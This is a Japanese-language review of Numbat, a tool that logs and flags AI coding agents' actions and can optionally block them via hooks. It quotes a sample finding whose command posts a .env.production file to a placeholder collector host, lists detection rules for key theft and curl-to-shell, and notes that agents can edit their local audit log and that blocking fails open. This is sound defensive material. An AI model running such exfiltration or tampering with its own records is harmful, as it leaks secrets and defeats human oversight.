NumbatでAIエージェントの操作を監視する方法

Numbat とは

Numbat を使うと、自分が所有するマシン上で AI エージェントが実行した処理を可視化できます。コーディングエージェントがすでに生成しているフックコールバックとセッションファイルを読み取り、1 つのイベント形式に正規化します。さらに、SSH 秘密鍵の読み取りや、ダウンロードした内容のシェルへの直接パイプなどの動作に対してルールを適用します。Perplexity はこれを Apache 2.0 ライセンスのオープンソースとして公開し、最初のタグ付きリリースを 29 July 2026 に出しました。

以下の内容は、2026 年 8 月 2 日にプロジェクトのリポジトリと公式ドキュメントを確認した時点の情報です。Perplexity による主張については、その旨を明記します。リポジトリが公開されてから数日しか経過しておらず、コマンドも変更されるため、これはインストール手順ではありません。

問題: エージェントの操作記録が残らない

VPS 上のコーディングエージェントは、利用者が渡したユーザー権限でシェルコマンドを実行し、ファイルを読み書きし、ネットワーク接続を開きます。エージェントはシェルに入力しているわけではないため、シェルの履歴にはこれらの操作が記録されません。sshd が記録するのはログインだけで、その後にモデルが実行した操作は記録しません。/var/log/auth.log は、何かが sudo にアクセスしようとしない限り、何も記録しません。エージェントは独自のトランスクリプトを保持しますが、そのファイルはエージェントのセッションディレクトリに保存され、形式はリリースごとに変わり、エージェント自身のプロセスから書き換えられる可能性があります。

そのため、「エージェントは先週の火曜日に .env.production を読み取ったか」と尋ねられても、ほとんどのサーバーでは確認できないというのが正直な答えです。この空白を埋めるために、このプロジェクトが存在します。

Perplexityが主張するNumbatの機能

READMEでは、このツールを「AIエージェントの活動をエンドポイントで可視化し、ローカル検知、オプションのアクション前ブロック、フォレンジック再構成を提供する」ものと説明しています。ここでいうエンドポイントは、外部から監視するネットワークアプライアンスではなく、エージェントが実行されるマシンを指します。これらは別々の機能であり、重要性も異なります。

検知はデバイス上で実行されます。ルールは CEL（Common Expression Language）で記述し、ローカルで評価します。さらに、複数ステップのシーケンスルールや、YAMLで独自ルールを定義する機能もあります。ルールが発火するために、データをマシン外へ送信する必要はありません。

ブロック機能はオプションで、対象も限定されます。エージェントが提供する同期型のアクション前フックを介してのみ動作し、有効化するまで無効です。

再構成は事後に実行されます。numbat scanは、エージェントがすでにディスクへ書き込んだセッションアーティファクトを解析します。そのため、Numbatをインストールする前の活動も確認できます。プロジェクトは、この主張の範囲を明確に限定しています。「保存済みデータからの再構成は、ディスク取得やメモリ取得ではなく、エージェントが永続化していない活動を復元することもできません。」

出力は、イベント、検出結果、強制適用の判断、インジケーター、スキャン概要を含む、バージョン管理されたNDJSON（改行区切りJSON）です。v0.1.2時点のスキーマバージョンは0.2.0です。レコードは標準出力またはローカルファイルへ出力でき、任意で、利用者が運用するコレクターへHTTP経由で送信できます。cgoなしでビルドされた単一の静的Goバイナリとして提供され、amd64およびarm64のmacOS、Linux、Windowsに対応します。そのため、Linux VPSでは、先にランタイムをインストールしなくても単一ファイルで実行できます。

Numbat が実際に可視化できるエージェント

docs/agent-coverage.md の対応マトリクスが正式な一覧です。ただし、対応状況にはばらつきがあります。プロジェクトはこの点を隠さず明記しています。Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI では、成果物のスキャンと、アクション実行前フックによるライブキャプチャの両方を利用できます。OpenClaw には、2026.7.1 以降でネイティブプラグインが提供されます。多数のエントリには deferred と記載されています。これは、ライブフックの経路は存在する一方で、成果物パーサーは存在しないことを意味します。多くの場合、そのエージェントは履歴を SQLite の write-ahead log とともに保存しており、エージェントの実行中に安全に読み取れないためです。2026 年 8 月 2 日にマトリクスを確認した時点では、OpenCode と Cline がこのグループに含まれていました。

このツールを前提に計画を立てる前に、使用するエージェントの行を確認してください。ほぼすべての行で、「supported」の意味が異なるためです。

検知結果の見え方

ルールには、用途を示す ID があります。secrets.read_private_keyは、SSH key、AWS credentials、kube config、または package registry へのログイン情報を対象にします。exec.download_pipe_shellは、curlまたはwgetの出力が interpreter にパイプされたときに検知します。privilege.elevated_shellは、sudo、doas、su、または pkexecを介して対話型の root shell を要求した場合を検知します。impact.cryptomining_launchは、既知の miner のバイナリ名とイメージ名に一致します。

Sequence rule は、1 つのセッション内のイベントを結合します。chain.secret_read_then_egressは、secret file の読み取り後に、データを外部へ送信するコマンドが続いた場合に一致します。README には、ライブインシデントではなく、管理された環境で Claude Code の pre-action callback 2 件を再生した結果として、次の検知結果が示されています。ここでは重要なフィールドだけを抜粋します。

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

レコード内に "confidence": "medium" があることに注目してください。また、この出力全体についてプロジェクトが述べている内容にも注目してください。「Findings are rule matches, not proof of compromise.」secret を読み取ってから build artifact をアップロードする deploy script も、同じ sequence rule に一致します。一致自体は正しくても、アラームは誤りです。これは、これまで実行したすべての検知ツールで通常発生する状態です。

ブロックはデフォルトで無効で、フェイルオープンです

Numbat に含まれるすべてのルールは、監視専用です。ルールをブロックに変更するには、意図的な作業が必要です。ルールの完全な YAML を自分のディレクトリにコピーし、同じ id を維持して enforce: true を追加し、バージョンを上げてから、そのポリシーを検証してインストールします。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ここからは、どの程度信頼すべきかを判断する部分です。Numbat の deny はエージェントに返される応答であり、実際にツール呼び出しを拒否するのはエージェントです。Numbat 自体に問題が発生した場合の動作について、強制適用ガイドは明確に説明しています。「不正な payload、関連する評価エラー、panic、出力エラーが発生すると、numbat deny は抑制されます」。Hook の入力サイズ上限は 4 MiB で、サイズ超過した入力も同じ経路をたどります。

deny が実際に返された場合でも、その制限は明確です。「Fail-open とは、numbat が deny 応答を返さないことです。ツールが実行されることを保証するものではありません。ホストは引き続き確認を求めたり、拒否したり、タイムアウトしたり、別の hook やポリシーを適用したりできます」。

したがって、ここでの強制適用は境界ではなく、ガードレールです。プロセスがクラッシュしても、Numbat によってアクションがブロックされることはありません。問題が発生するたびにエージェントを停止させる監視ツールは、1 週間以内にアンインストールされるためです。このトレードオフは妥当です。ただし、deny が常に返されることを前提にセキュリティモデルを構築してはいけません。

すでに行っている対策の中での Numbat の位置付け

Numbat はエンドポイント上でエージェント自身のプロセスツリー内に配置され、デフォルトでは ~/.numbat/records.ndjson に書き込みます。ユーザー権限で実行されているエージェントは、そのファイルを読み取れます。編集することも可能です。監査証跡の価値は、その周囲にある分離と同じだけです。つまり、既存のすべての制御は Numbat の背後ではなく、前段に置く必要があります。

コーディングエージェントに使い捨ての VM を与えることで、問題のある実行が到達できる範囲を制限できます。VPS 上で最小権限のユーザーを使うことで、エージェントが開く必要のないファイルへのアクセスを防げます。認証情報をエージェントのコンテキストから除外することにより、secrets.read_private_key が発生したときに確認する価値があるほど、マッチをまれにできます。さらに、VPS 上で Claude Code 用に設定したサンドボックスが、引き続き封じ込めを担います。封じ込めによって問題のある実行が触れられる範囲を制限し、コードがその形になっている理由を書き残すことによって、エージェントがログを確認するほど予想外の動作をする頻度を下げます。

Numbat が追加するのは記録です。そのため、エージェントが到達できない場所に記録を送信してください。numbat ship と HTTP sink は、そのためにあります。ストリームのコピーを 2 台目のマシンに保存すると、単なるログファイルが証拠になります。イベントモデルには MCP (model context protocol) のフィールドも含まれます。そのため、VPS 上でホストする MCP serverを経由して外部に出るツール呼び出しも、ローカルの shell コマンドと同じストリームに記録されます。これは、bash だけを監視する仕組みでは、その経路を確認できないため重要です。エージェントの検索バックエンドとして接続した SearXNG instanceにも同じ死角があります。この場合、リスクはルールに一致するコマンドではなく、信頼できないページテキストがモデルのコンテキストに入る形で発生します。

読み取り専用で先に試す

バージョンを固定してインストールします。go installには Go 1.26.5 以降が必要です。ソースからビルドしない場合は、releases ページにビルド済みバイナリと SHA-256 チェックサムがあります。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agentsはホストにインストールされているエージェントを検出します。numbat scanはディスク上にすでにあるセッションアーティファクトを解析し、レコードを出力します。README には、これらのコマンドは「フックをインストールしたり、エージェントの設定を変更したりしない」と記載されています。また、numbat は「アーティファクト内に見つかったエージェントやコマンドを実行せず、外部へのリクエストは設定済みの HTTP シンクに対してのみ行う」とされています。スキャンは秘密情報をマスキングした読み取り専用操作です。通常のレコード出力に完全な未加工トランスクリプトが含まれることもありません。

ライブキャプチャは次の段階です。この操作ではエージェントの設定が変更されます。

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit allはイベント、検出結果、インジケーター、および該当する強制適用の判定を~/.numbat/records.ndjsonに書き込みます。プロジェクトには、特に注意すべき点が2つあります。フックを実行するには、まずエージェント内でフックを信頼する必要がある場合があります。--enforceのようなフラグを変更した後は、その信頼設定を再度確認する必要があります。また、hook statusは「実行や配信ではなく、設定を検証する」ため、ステータスが正常でも、レコードがどこかに到達している証拠にはなりません。

このように新しいリポジトリを依存関係に含めない理由

公開リリースは、2026 年 7 月 29 日の v0.1.1 と、2026 年 8 月 1 日の v0.1.2 です。この記事の執筆時点である 2026 年 8 月 2 日には、リポジトリのスター数は 597 でした。このような速い増加は、コードの安定性ではなく、Perplexity の利用者層を反映しています。スターは、後で確認するためにページを保存した人がいることを示します。

バージョン番号からも、このソフトウェアの位置付けが分かります。v0.1.2 の変更内容の大半は、認証情報の秘匿に関する修正です。ケースバンドルとテレメトリの正規化も含まれています。他のプログラムのトランスクリプトを安全に読み取ることが役割のツールでは、初期段階の不具合として秘匿処理のバグが発生するのは自然です。入力元は 12 個のエージェントに及び、それぞれが独自のスケジュールで形式を変更するため、今後も同様の問題が発生します。

ここから、実務上のルールが 2 つ導かれます。保存する対象ではタグを固定し、@latest は使用しないでください。また、少なくともレコードスキーマの変更が止まるまでは、依存する制御機構ではなく、評価中のツールとして扱ってください。

FAQ

Numbat は危険な AI エージェントのコマンドをブロックしますか？

オプトインした場合に限り、ベストエフォートでブロックします。Numbat に同梱されているすべてのルールは監視専用です。ブロックするには、ルールの YAML を自分のディレクトリにコピーし、id を維持したまま enforce: true を追加して、バージョンを上げ、--enforce で hook をインストールします。それでも deny はエージェントに返される応答であり、呼び出しを拒否するのはエージェントです。プロジェクトでは fail-open の動作が文書化されています。形式不正の payload、評価エラー、panic、出力エラーが発生すると、deny はすべて抑制されます。これをガードレールとして使用し、唯一の境界制御にはしないでください。

Numbat はどの AI エージェントをサポートしていますか？

対応範囲はエージェントごとに異なり、リポジトリの docs/agent-coverage.md に一覧があります。そのページを 2026 年 8 月 2 日に確認した時点では、Claude Code、Codex、Gemini CLI、Cursor、GitHub Copilot CLI が artifact scanning と live capture の両方に対応しており、OpenClaw には version 2026.7.1 から native plugin があります。ほかにも多くのエージェントが live hook path 付きで掲載されていますが、artifact parser はまだありません。通常は、実行中のエージェントによる読み取りが安全でない SQLite データベースにセッション履歴が保存されていることが理由です。自分のエージェントの行を確認してください。そこでは「supported」が複数の異なる対応レベルを指します。

エージェントは Numbat の記録を改ざんできますか？

同じユーザーとして実行されている場合は、可能です。記録はデフォルトで、エージェントと同じマシン上の ~/.numbat/records.ndjson に保存されます。そのため、そのパスへの書き込み権限を持つものは記録を変更または削除できます。エージェントが到達できない collector に、numbat ship または HTTP sink を使ってストリームを送信し、ローカルファイルは利便性のためのコピーとして残してください。これが、このツールが isolation を補完するものであり、置き換えるものではない理由でもあります。least privilege user の下で使い捨て VM に隔離されたエージェントであれば、自身の audit trail に対する到達範囲を大幅に制限できます。

Numbat は production server で使用できる状態ですか？

依存する制御としては、まだ使用できません。最初の public release は 2026 年 7 月 29 日の v0.1.1 で、2026 年 8 月 1 日には v0.1.2 が続いています。そのため、flags と record schema はどちらもまだ変更されています。サーバー上で numbat agents と numbat scan を実行するだけなら read-only でリスクも低く、エージェントがディスク上に残したものを確認できます。重要なサーバーに enforcement hooks をインストールするかどうかは別の判断です。pinned tag を使用し、hook が正常に動作しない場合の対応計画を用意してください。